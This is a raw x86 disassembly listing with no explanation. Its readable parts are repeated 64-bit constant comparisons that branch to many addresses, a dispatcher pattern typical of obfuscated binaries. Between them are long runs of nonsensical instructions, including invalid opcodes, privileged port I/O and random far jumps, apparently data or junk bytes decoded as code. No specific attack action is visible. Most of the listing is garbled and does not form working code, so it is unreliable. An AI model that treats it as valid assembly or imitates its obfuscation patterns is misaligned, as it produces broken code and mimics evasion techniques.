mov edx, 0x54965
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x3b6f4
or eax, dword [ebp - 0xa4]
je 0x70b20515
mov edx, 0x3b6f4
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x3a265
or eax, dword [ebp - 0xa4]
je 0x70b1faf7
mov edx, 0x3a265
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x2df8b
or eax, dword [ebp - 0xa4]
je 0x70b20006
mov edx, 0x2df8b
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x283d8
or eax, dword [ebp - 0xa4]
je 0x70b1b934
mov edx, 0x283d8
mov eax, 0
add byte [eax], al
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x52ff
or eax, dword [ebp - 0xa4]
je 0x70b1b425
mov eax, dword [ebp - 0xa8]
xor eax, 0x23bca
or eax, dword [ebp - 0xa4]
je 0x70b1e6bb
dec dword [edi]
test byte [esi + edx*2], al
add byte [eax], al
jmp 0x70b20512
jne 0x70b190b0
div al
push ebp
xchg byte [edx + 0x51d7fd1a], bh
xchg ebp, eax
js 0x70b19075
retf
retf 0x3fa8
arpl ax, si
jg 0x70b19554
sbb eax, 0xa1dbd43f
mov dword [edx - 0x38dce19e], 0xcdae2891
cwde
lds edx, [ebx]
dec esp
iretd
or dword [ebx - 0x25bd22bb], ebx
add byte [eax], 0x88
aam 0x81
xchg esp, eax
dec ebx
wait
cli
adc dword [edi], 0x6d
aad 0x8e
push ebp
fstp qword [ebx - 0x356baff7]
or eax, 0xd0abfa02
imul ecx, ecx, 0x45
not byte [edi]
dec edi
pop es
cli
push 0x26aeb8b6
out 0x34, eax
xor al, 0xb4
mov bh, 0x67
mov ah, byte [ebx]
scasd eax, dword es:[edi]
sbb bh, byte [ecx + 0x75e870fa]
in eax, 0x23
mov ebp, 0xee282d21
inc ebx
mov word [esi - 0x4e21eaf4], cs
xchg esi, eax
xchg edi, eax
sbb byte [edi - 0x26], bh
cmpsd dword [esi], dword es:[edi]
or edx, dword [eax - 0x46698534]
sub eax, 0x1a9cbe3a
test al, 0x13
sbb dword [ebp + 0x24], eax
sub esp, ecx
outsb dx, byte [esi]
sub byte [0xbc967c48], cl
sti
or bh, dh
mov al, byte [0x8193bdf4]
inc esp
inc esi
xchg ecx, eax
ret
ret
test byte [ebp - 0x78], 0x25
fcom qword [edi + 0x2df8058c]
mul byte [eax + edi*4 + 3]
hlt
xor ah, dl
outsb dx, byte [esi]
jb 0x70b1a4ae
enter 0xffffffffffffcfd1, 0xffffffffffffffbd
ficomp word [eax]
and al, 0x2c
sbb esi, dword es:[ecx - 0x5b5adf71]
or ah, byte [ebp - 0x6f7d40cd]
int3
sahf
jge 0x70b1a4d8
jb 0x70b1a52b
or ch, dl
wait
call 0xfc0ea0ba
idiv byte [edi + esi + 0x31b01a0]
inc esp
mov dl, 0xa8
mov bh, 0x3d
retf
dec edi
shl dword ds:[edi], 1
invalid
xchg edi, eax
invalid
nop
fld st(5)
cmp esp, dword [ebx + 0x11a6d18d]
nop
int3
loopne 0x70b1af06
arpl word [ebx], bx
rol byte [edx + 0x60a4c117], 0x76
mov al, 0xce
fcmovbe st(0), st(1)
inc ebx
pushfd
mov bh, 0x2f
inc edx
adc byte [edi + esi*8 - 0x71dbd84d], dl
mov ah, 0x91
mov ebp, 0x5a29394a
call 0x180ae34c
pop edx
ret 0xf8f1
out 0xa2, eax
push ebp
test eax, 0xd16ae3c9
pop ds
mov dword [0xdff71fb3], eax
fsubp st(7)
shr esp, 1
sbb eax, 0x15a7e017
cld
cmp byte [edx], dl
invalid
pop edx
adc eax, 0x1334d095
fsub dword [ebx - 0xcd1a8ed]
cdq
loope 0x70b1b3d6
xor esi, dword [eax - 0x64c76d5]
invalid
dec eax
arpl word [esi - 0x56], ax
invalid
pop ss
mov edi, 0xc6e08e8c
adc bh, byte [eax + 0xc]
mov byte [0x10fbbae5], al
mov esp, 0xe4e2d1a1
or al, 0x24
pop edx
dec ebx
mov dl, 0xe
pop ds
pop edi
pop edi
scasd eax, dword es:[edi]
pop ebx
mov eax, dword [0x63321cd9]
loope 0x70b1b8ae
clc
inc ebx
pop esi
xor ecx, dword [edx - 0x3b2761d1]
das
sahf
fadd st(4)
sub eax, esp
int 0xe0
je 0x70b1b8ed
sub dword [ecx + 0xf], 0x1f
hlt
jg 0x70b1b918
pop ecx
or eax, 0x14128f14
fild word [ecx + 0x12]
jl 0x70b1b969
dec edi
lahf
xchg edx, eax
invalid
dec ebp
iretd
push ebp
adc cl, ch
cli
pop edi
invalid
mov ah, 0x23
test byte [eax + 0x2cd5621b], dh
or ax, 0xad37
xor eax, 0x30438dd5
mov dword [0xd4153b6d], eax
fisttp qword [ebp - 0x76]
dec ebx
mov word [ecx], ss
push ebx
or al, 0xa
jns 0x70b1c37c
pop ss
adc ebx, dword [ebp - 0x5c6866a7]
jmp 0x70b1c3ca
dec ebp
xor eax, 0xcfb0761d
aam 0x25
cmp eax, 0x60bf1305
dec eax
cwde
stosb byte es:[edi], al
cmp al, 0xa9
mov dword [0x303f67fc], eax
jecxz 0x70b1c3d6
dec ebp
arpl word [edx - 0x60], si
addps xmm3, xmm4
jmp 0xce73372e
xor al, 0x6f
push cs
pop edi
push ss
out 0xa3, eax
stosd dword es:[edi], eax
xor al, 0xbf
shl dword [ecx], 1
sub al, 0x3f
and dword [edi + edi], ebp
inc esi
scasd eax, dword es:[edi]
or esi, dword [edi - 0x1c]
mov ch, 0x34
sub dword [eax], ecx
push cs
add ecx, dword [ebx - 0x7f54c8ea]
mov word [esi - 0x38], ds
mov dl, 0xeb
push ds
stosd dword es:[edi], eax
push ecx
stosd dword es:[edi], eax
jg 0x70b1c44b
scasb al, byte es:[edi]
add eax, 0x8bb2e1e1
int 0xc8
nop
int3
in al, 0x76
mov dword [esi], 0x9004a45f
int3
pop eax
into
int1
stc
cmpsd dword [esi], dword es:[edi]
sbb al, 0x11
sbb dword [edx], esp
xchg ebx, eax
salc
xchg ebx, eax
dec edi
mov ch, byte [0xd42bd0e9]
mul byte [edx]
adc al, byte [ebp]
push ebx
adc byte [edx + 0x7ac772cd], cl
inc ebx
xlatb
xchg esp, eax
and al, 0xb6
sub dword [ebp - 0x31138922], edi
pop ds
mov eax, 0x1337f6d8
std
enter 0xffffffffffffe069, 0x76
movq mm6, qword [edi]
pop ebx
dec ebx
sub dword [edi + ebx*4 - 0x383d8a27], ebp
std
push 0xfffffffffffffff5
jmp 0xec52bc9b
xchg esi, eax
outsb dx, byte [esi]
or dword [eax + 0x581ace5a], ebp
mov esi, 0x8962eb4b
cdq
out 0x7d, eax
mov dl, 0xc
mov esp, 0x5e6888a
adc byte [ebp - 0xe], ah
in al, dx
sahf
push esi
xor ebp, dword [ebp - 0x20]
xchg ecx, eax
movsd dword es:[edi], dword [esi]
in eax, dx
invalid
mov dl, 0x8e
out dx, eax
retf
pop ecx
xchg ebx, eax
fistp dword [ecx + 0x4f]
outsd dx, dword [esi]
loop 0x70b1d1e4
invalid
pop ebx
sbb eax, 0x16f72ec3
shr dword ss:[edi + 0x345179ec], 0xac
dec byte [esi]
aam 0x33
dec ebx
xchg byte [ecx + 0x2f], cl
sahf
mov esi, 0xdd5df86b
jp 0x70b1d230
popfd
xchg esp, eax
mov esi, 0x2591acd4
insb byte es:[edi], dx
cmp dh, byte [esi - 0x19f2c582]
iretd
push 0x9112ceb3
pushfd
jg 0x70b1d7dd
in al, 0x8c
lcall 0x8fae, 0x5d9d1bb9
mov edi, 0x308076f
sbb edx, edi
invalid
call 0xb8a17dc3
nop
int3
mov al, 0x63
pop esi
xchg ecx, eax
std
cmp eax, 0x2638cf9a
lcall 0xf05f, 0x392638cf
cmp byte [esi], ah
cmp dword [edi - 0x10], ebx
cmp eax, 0x76d411e3
mov ebx, 0x27cd91cb
mov ah, 0xb0
les edi, [edx - 0x78]
test eax, 0x61408150
in eax, 0x96
add eax, eax
adc dword [0x90f36b9], 0xe9f2d446
add al, 0xe0
cmp dword [esi], 0xffffffa6
add esp, dword [ecx - 0x37]
and al, 0xdd
adc ch, ah
loope 0x70b1dca5
mov edi, 0x9ee619b8
jg 0x70b1dca3
int1
xlatb
imul eax, dword [esi + 0x43], 0x1737891f
std
aad 0xbe
enter 0x1162, 0xffffffffffffff90
int3
and ebp, ebp
cwde
in eax, 0x69
pop esi
and dl, bl
out dx, eax
into
div esi
insd dword es:[edi], dx
inc ebp
sub al, 0x77
popfd
fnstenv [eax + 0x5cebe2e9]
jmp 0x70b1e184
inc esi
or edi, esp
inc esp
lahf
cld
mov bl, 0xe6
adc dword [0xbfb95d74], edx
xchg ebx, eax
shld eax, esi, 0xcd
dec esi
out 0x16, eax
lcall 0xdcd, 0x37360bcf
out 0xaf, eax
mov bl, 0x1f
push ebp
daa
mov ebx, 0x1c39224b
outsb dx, byte [esi]
dec eax
xchg esp, eax
jecxz 0x70b1e173
cmc
lea ecx, [esi]
inc ebx
cmp dword [ebp + 0x1ceebd90], edi
dec edi
and ah, byte [ecx - 0x43c07523]
xor dword [ecx - 0x717883ab], esi
mov al, byte [0xefd657a6]
push es
mov cl, 0x8d
aas
pushal
mov al, byte [0xf3da07d4]
nop
int3
fldcw word [ebx]
cmp dword [eax], ebp
xchg esi, eax
xor dword [edx], edx
sub cl, byte [ebp - 0x586a56d]
or bl, ah
shr edi, cl
lodsd eax, dword [esi]
aad 0xc2
sub byte [esi - 0x63d4ff5d], ch
cld
pop es
jns 0x70b1e729
push 0x89854aab
mov al, 0x75
bound esi, qword [ecx + 0x49]
in eax, dx
cmpsd dword [esi], dword es:[edi]
xor dword [ebx], ecx
in al, 0xc4
int3
cmp ch, bh
insb byte es:[edi], dx
mov dh, 0x12
outsd dx, dword [esi]
leave
ja 0x70b1e7ac
rol dword [edi], 0x48
sub eax, dword [0xa01324a2]
mov dh, 0x2a
fisttp dword [ebp + 6]
xchg dword [ebx - 0x6b], ebx
add dword [esi + 0x27], edi
mov eax, 0x3ac0eb7f
sbb dh, ah
sub al, dh
retf
cli
retf 0x23dd
pop ecx
inc edi
or ebp, dword [ebx - 0xd]
fsub st(0), st(0)
daa
xchg edi, eax
cmp al, 0xa8
nop
nop
adc ebx, dword [ebx - 0x759dd297]
cli
ljmp 0x397a
jl 0x70b1eb99
mov al, byte [0x79397a4f]
add esi, dword [edi]
cmp byte [eax], al
xor ebx, ebp
sbb eax, 0x5923d527
imul eax, dword [esi - 0x16336ff2], 0x4c
sbb dword [eax], eax
add byte [ecx + ecx*2 + 0x79], al
loopne 0x70b1ec2e
inc esp
dec ecx
jns 0x70b1ebae
pop edi
dec esi
push edx
sbb esi, 0xffffffca
pop ebp
sbb al, byte [edx]
cmpsb byte [esi], byte es:[edi]
int 0xa4
imul eax, dword [eax - 0x2e], 0xffffff84
cld
lahf
jo 0x70b1eba5
into
invalid
or ebx, dword [edx]
pop ebx
out dx, al
xlatb
out 0xfa, eax
imul edx, dword [ebp + 0x71], 0xf79892a2
inc edi
aaa
mov gs, word [edx]
inc esi
jg 0x70b1ec75
sti
int1
push 0xf
fidivr dword [edx - 0xa0ec145]
xchg esi, eax
sbb dl, byte [ecx + ebp*2]
sti
adc ebp, dword [esi - 0x77]
mov ah, 0xa9
mov bl, 0xd7
cmp ecx, esi
sbb bl, bh
ret 0x2c73
int3
and byte [eax + edx + 0x42], ah
inc edi
shr byte [ebx], 0x5a
stosd dword es:[edi], eax
lahf
sub dl, bl
adc esp, esp
mov ebx, 0xbc3edddc
or byte [0xf88a2a7f], bl
repne outsd dx, dword [esi]
invalid
sahf
push ds
int3
and ebp, esi
outsb dx, byte [esi]
xchg ch, ch
pushfd
push 0xffffffffffffffb7
iretd
jno 0x70b1f625
push es
push edi
out dx, al
std
pop ebx
dec edx
push es
adc byte [ecx], bh
aas
pop esi
push 0x2d2948d5
xchg edi, eax
jno 0x70b1f58d
mov ebp, 0xf0d67a8b
add eax, dword [ebp - 0x68682160]
pushfd
jne 0x70b1f679
mov ebx, 0xb5391a41
fsubr dword [ebx]
adc dword [esi + ebp*8 - 0x7bd9fd32], ebx
hlt
xor ebx, dword [edi]
or dword [edi], 0x58
mov ebp, 0xe2ea2864
jle 0x70b1f5d6
out 0x9d, eax
aaa
jmp 0x2bdfa2f0
cmp bh, ah
cmp dword [ebp - 0x1ff4743f], 0xf47b7e70
out 0x81, eax
mov ebp, 0xe00b8bc1
jo 0x70b1f700
jnp 0x70b1f678
ror byte [ecx + 0xe], cl
aad 0xed
xchg ch, bh
xor eax, 0x1ec7c794
sahf
nop
int3
sub eax, dword [ebx - 0x1e]
sbb ch, ch
push 0xbfabe44e
xchg edi, eax
inc edi
xchg esi, eax
mov dl, 0x93
invalid
hlt
push cs
popal
imul ecx, dword [esi + 0x7898038e], 0x76fc7d07
cmpsd dword [esi], dword es:[edi]
cld
jbe 0x70b1faab
xchg ebp, eax
xchg dword [ecx - 0x11], esi
xor bl, byte [ecx - 0x6e]
jns 0x70b1fb01
mov ah, 0xe1
sub byte [esp + ebx*8], 0x97
mov al, byte [0xd954bd16]
scasd eax, dword es:[edi]
cmpsb byte [esi], byte es:[edi]
mov word [0xfcb18ae9], es
xor byte [eax + 0x13], bl
movsb byte es:[edi], byte [esi]
les ebp, [ecx - 0x2730a659]
and cl, byte [ebp + 0x57]
mov ebp, ebp
or byte [edi - 0x724f63b5], bh
cmpsd dword [esi], dword es:[edi]
pop ebx
into
pop eax
xor eax, dword [0x1e360b25]
invalid
mov dword [edx + edx*4 - 0x4e], 0x4b6eaf1a
dec ebx
xchg ebx, eax
fld xword [esi + 0x2c2d539d]
mov esp, dword [edi - 0x71]
and edi, dword [ecx + 0x728511a2]
jecxz 0x70b2005e
invalid
cmp al, 0x88
pop ebx
mov al, 0xad
mov edx, 0x96d26ff2
invalid
repne outsd dx, dword [esi]
rcl byte [esi + 0x3b91a1f0], cl
push ss
fcmovbe st(0), st(2)
mov edi, 0xfdd3619c
popal
sar ebp, cl
ja 0x70b20059
cdq
sub al, 0x23
dec ebx
lodsb al, byte [esi]
das
dec eax
rcl dword [eax + 0x510e9cc]
add byte [eax], al
jo 0x70b1ffd5
adc esi, dword [ecx]
jo 0x70b1ffe5
sti
je 0x70b1ffc5
xchg edi, eax
cwde
jne 0x70b1ffcc
shl dword [ecx + 0x3b], 1
shr dword [esi - 0x67], cl
invalid
loope 0x70b1ffce
cmp al, 0x30
push es
jno 0x70b1fff2
salc
push edx
mov dl, 0xc1
dec eax
sub al, 0x51
cmp eax, 0xcd74129c
arpl word [0xcb6c7d0d], bp
inc ebx
les esi, [ecx + 0x28]
push ebx
nop
sbb ebp, edx
mov ecx, 0xdb098974
dec edx
xor ebx, edi
inc ebx
pop ss
and ebx, dword [esi - 0x6f74c54c]
int3
mov edx, dword [eax + 0x199971cc]
cmc
sbb ebp, esi
push ds
dec esp
aas
pop esp
inc ecx
cmp esp, ebp
or al, 0x93
jecxz 0x70b20029
sub cl, byte [ecx]
sahf
add ch, byte [esi - 0x11]
sbb al, 0x75
enter 0x3eaa, 0x3b
adc ecx, dword [ebx]
xor byte [ebp - 4], bh
leave
aad 0x43
invalid
nop
jmp 0x70b20516
nop
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb8], 0xe5e33
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xc0], 0x3243e
mov dword [ebp - 0xbc], 0
mov eax, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb4]
sub eax, dword [ebp - 0xc0]
sbb edx, dword [ebp - 0xbc]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xc8]
xor eax, 0xefd0f
or eax, dword [ebp - 0xc4]
je 0x70b22bb0
mov edx, 0xefd0f
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0xd7ed5
or eax, dword [ebp - 0xc4]
je 0x70b20d56
mov edx, 0xd7ed5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0xd24b1
or eax, dword [ebp - 0xc4]
je 0x70b226a1
mov edx, 0xd24b1
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0xc2bd8
or eax, dword [ebp - 0xc4]
je 0x70b21265
mov edx, 0xc2bd8
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0xb39f5
or eax, dword [ebp - 0xc4]
je 0x70b24f19
mov edx, 0xb39f5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x99ab1
or eax, dword [ebp - 0xc4]
je 0x70b244fb
mov edx, 0x99ab1
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x98e67
or eax, dword [ebp - 0xc4]
je 0x70b23fec
mov edx, 0x98e67
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x943e5
or eax, dword [ebp - 0xc4]
je 0x70b230bf
mov edx, 0x943e5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x78a3e
or eax, dword [ebp - 0xc4]
je 0x70b235ce
mov edx, 0x78a3e
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x6c77c
or eax, dword [ebp - 0xc4]
je 0x70b21774
mov edx, 0x6c77c
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x385e5
or eax, dword [ebp - 0xc4]
je 0x70b23add
mov edx, 0x385e5
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x25843
or eax, dword [ebp - 0xc4]
je 0x70b21c83
mov edx, 0x25843
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x242c3
add al, byte [eax]
or eax, dword [ebp - 0xc4]
je 0x70b20847
mov edx, 0x242c3
mov eax, 0
cmp edx, dword [ebp - 0xc8]
sbb eax, dword [ebp - 0xc4]
jl 0x70b24f16
mov eax, dword [ebp - 0xc8]
xor eax, 0x695b
or eax, dword [ebp - 0xc4]
je 0x70b22192
mov eax, dword [ebp - 0xc8]
xor eax, 0x10a91
or eax, dword [ebp - 0xc4]
je 0x70b24a0a
jmp 0x70b24f16
mov esi, 0xf033684d
ja 0x70b207ee
or byte [0x3fdc4666], cl
dec esi
cmp eax, 0x717aacce
nop
push 0x5d
pop ebp
fidiv word [edi - 0x16f1f3f7]
fldenv [esi - 0x7f]
sbb ebx, dword [edx - 0x481fd7e3]
jge 0x70b2085c
ret
sub cl, byte [edi + 0x58]
rcl byte [ecx + 0x22], cl
fimul word [eax]
sbb byte [ebp + 0x6d0a6b1a], 0xe0
xor eax, 0x3d29bb78
xor ch, ah
inc edi
xlatb
in eax, dx
scasb al, byte es:[edi]
add al, byte [ebp + 0x331aa04e]
invalid
repne outsb dx, byte [esi]
mov bl, byte [ecx + esi*4]
invalid
sub al, 0x92
or al, 0xfd
mov ebx, 0xd03bc732
invalid
ror dword [edx - 0x28], 1
aas
or eax, 0xee3c0b30
adc edx, eax
outsb dx, byte [esi]
or al, byte [ecx - 0x5f]
aas
inc ecx
or byte [esi], al
or bl, byte es:[edx - 0x12b29b1b]
sal dword [ecx - 0x6b], cl
adc eax, 0xf644b3f3
mov edx, edi
je 0x70b2175c
and al, 0x2e
neg dword [edi + 0x63]
cmp al, 0xd5
retf
enter 0xffffffffffffa0a4, 6
into
rol byte [edx], 0x46
sbb dword [0xefcfcc90], edi
push ebp
cmp al, 0x90
int 0xea
out 0x95, eax
cmp eax, dword [edi]
pop edi
adc esi, dword [ebx - 0x74f0f763]
mov al, 0xa5
or edx, ebx
push 0x8b02be2c
xchg byte [eax + 5], dl
fcomp qword [ebp - 0x8f29a45]
adc byte [0x4003b9d7], bh
inc esp
js 0x70b21cad
imul ecx, dword [eax + 0x54cf8af0], 0x29
std
jns 0x70b21c1c
inc ecx
xchg esi, eax
loope 0x70b21ce2
cmpsb byte [esi], byte es:[edi]
sub edx, dword [eax + 0x41]
shl ch, cl
lds esp, [ebp + 0x43]
jbe 0x70b21d04
pop ecx
or edx, dword [edi]
sbb cl, byte [ebp + ebp*8 - 0x7e]
and dword [eax + 0x3f], edx
idiv dl
dec edi
mov ah, byte [esi + 0x74]
stc
out 0xaf, eax
cld
in al, dx
cwde
dec esp
rcl byte [ecx + ebp*4 + 0x731be166]
test eax, 0x731be166
pop ebx
mov al, byte [ebp - 0x66c949f1]
push ebx
popfd
sub eax, 0x3faf9e4b
mov ebx, 0x63f8e30b
push ebx
xchg ebx, eax
inc ecx
sub dh, byte [esi + ebx - 0x5d8c0f1f]
dec eax
push 0x28a978d1
push 0xda59cc90
invalid
lodsb al, byte [esi]
lodsb al, byte [esi]
xor al, 0xaf
outsd dx, dword [esi]
rcr dword [edx], cl
mov dh, 0x14
push esi
pop edi
inc eax
cmpsb byte [esi], byte es:[edi]
sub dl, cl
dec edi
enter 0xffffffffffffc8e3, 0xffffffffffffff97
adc dword [eax + 0x6e], ecx
mov byte [0x6d82093d], al
dec ebx
out dx, al
aam 0x36
sal byte [esp + ebx*2 - 0x2fb7852], cl
or dword [edx - 0x2b11b493], eax
sal byte ss:[esp + ebx*2 - 0x2fb7852], cl
pop esp
scasb al, byte es:[edi]
xchg dword [edi*8 + 0x1dbbee96], eax
invalid
xchg esi, eax
out dx, al
mov ebx, 0xfa3a0f1d
out dx, al
mov edx, 0x542bc8aa
cmp dword [edi*2 + 0x1182d191], ebx
into
lodsd eax, dword [esi]
inc ebx
adc dword [edi - 6], 0xee880e1e
in eax, 0x8e
dec ebp
loop 0x70b21cfb
nop
int3
int3
call 0xb3cf89c1
push cs
xor byte [ebp + 0x41ad3c7d], dh
div dword [edi + 0x42]
jbe 0x70b22136
xor ebx, edi
and eax, 0x501a3ef0
pop ds
cmp dword [eax + esi*8], ebp
retf 0xbb37
cld
fisub word [edx - 0x67]
adc dword [esp + edi*4], edi
inc edx
mov edi, dword [edi + ebx*8 - 0x7e]
sbb ah, byte [ebx + 0x74]
dec esi
mov esp, 0x9bd6fa65
inc eax
invalid
mov es, word [esi + 0x17c0cfeb]
bound ebx, qword [edx + ebp*8 + 0x56]
or byte [ebp + 0x6ae9cc90], al
and eax, dword [eax]
add cl, dl
retf 0x8b56
ror edx, 1
push esi
mov ebp, dword [ebp + 0x22]
je 0x70b22b9d
jmp 0xdbab4b2d
pop es
int3
inc edi
and dword [ebp - 0x1a24c3d1], ecx
pop edx
mov ebx, edi
xchg ebp, eax
and dword es:[ecx], ecx
nop
int3
sub byte [ebx + 0x2ee4c5ec], ch
fsub dword [ecx + 0x2509b665]
popal
insd dword es:[edi], dx
pop esp
or byte [eax], al
fadd dword [esi - 0x3e177cb0]
out 0xf7, eax
enter 0xffffffffffffb6dd, 0xffffffffffffffdf
jno 0x70b2350d
leave
or al, 0x1e
div byte [edi - 0x6f77b9ce]
int3
push edi
push es
sub al, 0xf3
sbb cl, byte [0xd0948201]
rsqrtps xmm4, xmmword [eax - 0x5c]
pop ecx
daa
jle 0x70b2354a
popal
sbb eax, 0x4ffdd7f7
test dword [ebx - 0x7ad793f], eax
out dx, al
dec edi
sub byte [eax], ch
push es
push ss
or esp, dword [ebp - 0x7b66775c]
pop ds
mov ah, cl
mov esi, 0x5b2b282b
jle 0x70b23589
sub ebx, dword [ebx + 0x7e]
fdiv qword [ecx + ecx*4]
xor al, 0x89
or ecx, ebx
scasd eax, dword es:[edi]
das
std
jecxz 0x70b23579
scasb al, byte es:[edi]
pop ebp
or dword [ecx], edi
push edi
hlt
cmp eax, esp
mov al, byte [0x694a1857]
or byte [edx + 0x62], 0xb
aad 0x27
fisttp dword [0x8ec2f6ce]
out 0xba, eax
push 0x11
cmpsb byte [esi], byte es:[edi]
inc esi
push es
aas
jne 0x70b235a9
not dword [eax]
mov ebp, esi
mov edx, 0x73799858
dec eax
and byte [edx - 0x68], ah
sal dword [esi - 0x3fae378d], cl
in eax, dx
in al, 0xbe
arpl word [ebp + 0x4d18fc55], sp
ljmp 0x4796
invalid
stosd dword es:[edi], eax
xchg ebp, eax
pop ds
jne 0x70b23a4e
push esp
hlt
push esi
cmpsd dword [esi], dword es:[edi]
jne 0x70b23ab9
into
jno 0x70b23b31
ret 0x4ae9
nop
int3
xchg edx, eax
bound esi, qword [eax]
nop
int3
cmp dl, byte [ecx + 0x73507b5e]
cld
jae 0x70b24019
fisttp dword [ebx + edi + 0x6a88b800]
out dx, eax
mov dword [ecx + 0x4840496f], esi
loope 0x70b2400c
or al, 0x15
mov edi, 0x6216a704
mov edi, 0xadaff870
and dword [edx + 0x7c], edi
out dx, eax
in eax, 0xd7
pop ebp
add al, 0xd6
salc
lodsb al, byte [esi]
arpl word [edx - 0x7d5e9872], sp
jg 0x70b23fe2
xchg edx, eax
popal
sub esi, eax
fnstcw word [ebp - 0x33]
mov esi, 0xf1f40f56
mov bl, 0x6e
inc esp
inc edx
mov dl, 0xd5
stc
fsub dword [edi]
fmulp st(5)
push esi
push edx
inc edx
loope 0x70b24060
mov ch, 0x90
int3
cmp al, 0xaf
and al, 0x23
push ebp
sahf
inc ebp
xchg ecx, eax
retf 0xb01f
and ecx, dword [ebx + 0x482842b6]
sub eax, 0xccaf2710
sti
fldln2
mov ds, ecx
jl 0x70b24586
xchg byte [ebp + 0x1077cfa6], al
or byte [ebx + 5], cl
imul edi, dword [eax + 0x4a], 0x2ff20d9e
ret
mov dl, 0xa4
inc ecx
mov word [edx], ss
xor ebp, dword [esi + eax*4]
mov cl, 0xd3
xor edi, dword [esi]
out 0x57, al
invalid
test eax, 0xeb8f6d94
jge 0x70b24a6d
imul esi, dword [eax + edi - 0x38], 0xe9cc9083
adc byte [0x25b10000], al
mov cl, 0x25
insb byte es:[edi], dx
sti
sbb ecx, esp
mov eax, 0x8cadbf3f
xchg ecx, eax
mov ah, 0xc1
xor eax, 0x5721c007
lodsd eax, dword [esi]
mov word [ecx + 0x735c1b4], ss
shl byte [ecx], 0x57
popfd
sub eax, 0xeb4dd3e3
loop 0x70b249f7
inc ebx
pop ebx
loope 0x70b24a13
mov word [edx + 0x6c], gs
pop ebp
or dword [esi - 0x3603ab23], esi
mov byte [ecx + 0x1c], dh
sub eax, 0x112a9fba
sbb bh, 0x3d
sub eax, 0xede47e52
sbb dword [edx], ebx
mov byte [eax + 0x3842a8bc], ch
push edx
xchg edi, eax
sub bl, bl
das
fmul st(2), st(0)
int3
xlatb
cmpsb byte [esi], byte es:[edi]
ret
sub dword [eax + 0x3e], ebp
shr ecx, cl
out dx, al
push cs
xchg ebx, eax
mov dl, byte [esi]
js 0x70b24a54
ljmp 0x79d:0x97c4d2b3
nop
jmp 0x70b24f1a
nop
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x1c]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd8], 0x7b9bb
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0x8144a
mov dword [ebp - 0xdc], 0
mov eax, dword [ebp - 0xd4]
imul eax, dword [ebp - 0xe0]
mov edx, eax
mov eax, dword [ebp - 0xdc]
imul eax, dword [ebp - 0xd8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xd8]
mul dword [ebp - 0xe0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0x6a964c0e
mov edx, dword [ebp - 0xe4]
xor edx, 0x3e
or eax, edx
je 0x70b25a2a
mov edx, 0x6a964c0e
mov eax, 0x3e
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x70b25a2d
mov eax, dword [ebp - 0xe8]
xor eax, 0x328ad
or eax, dword [ebp - 0xe4]
je 0x70b2551e
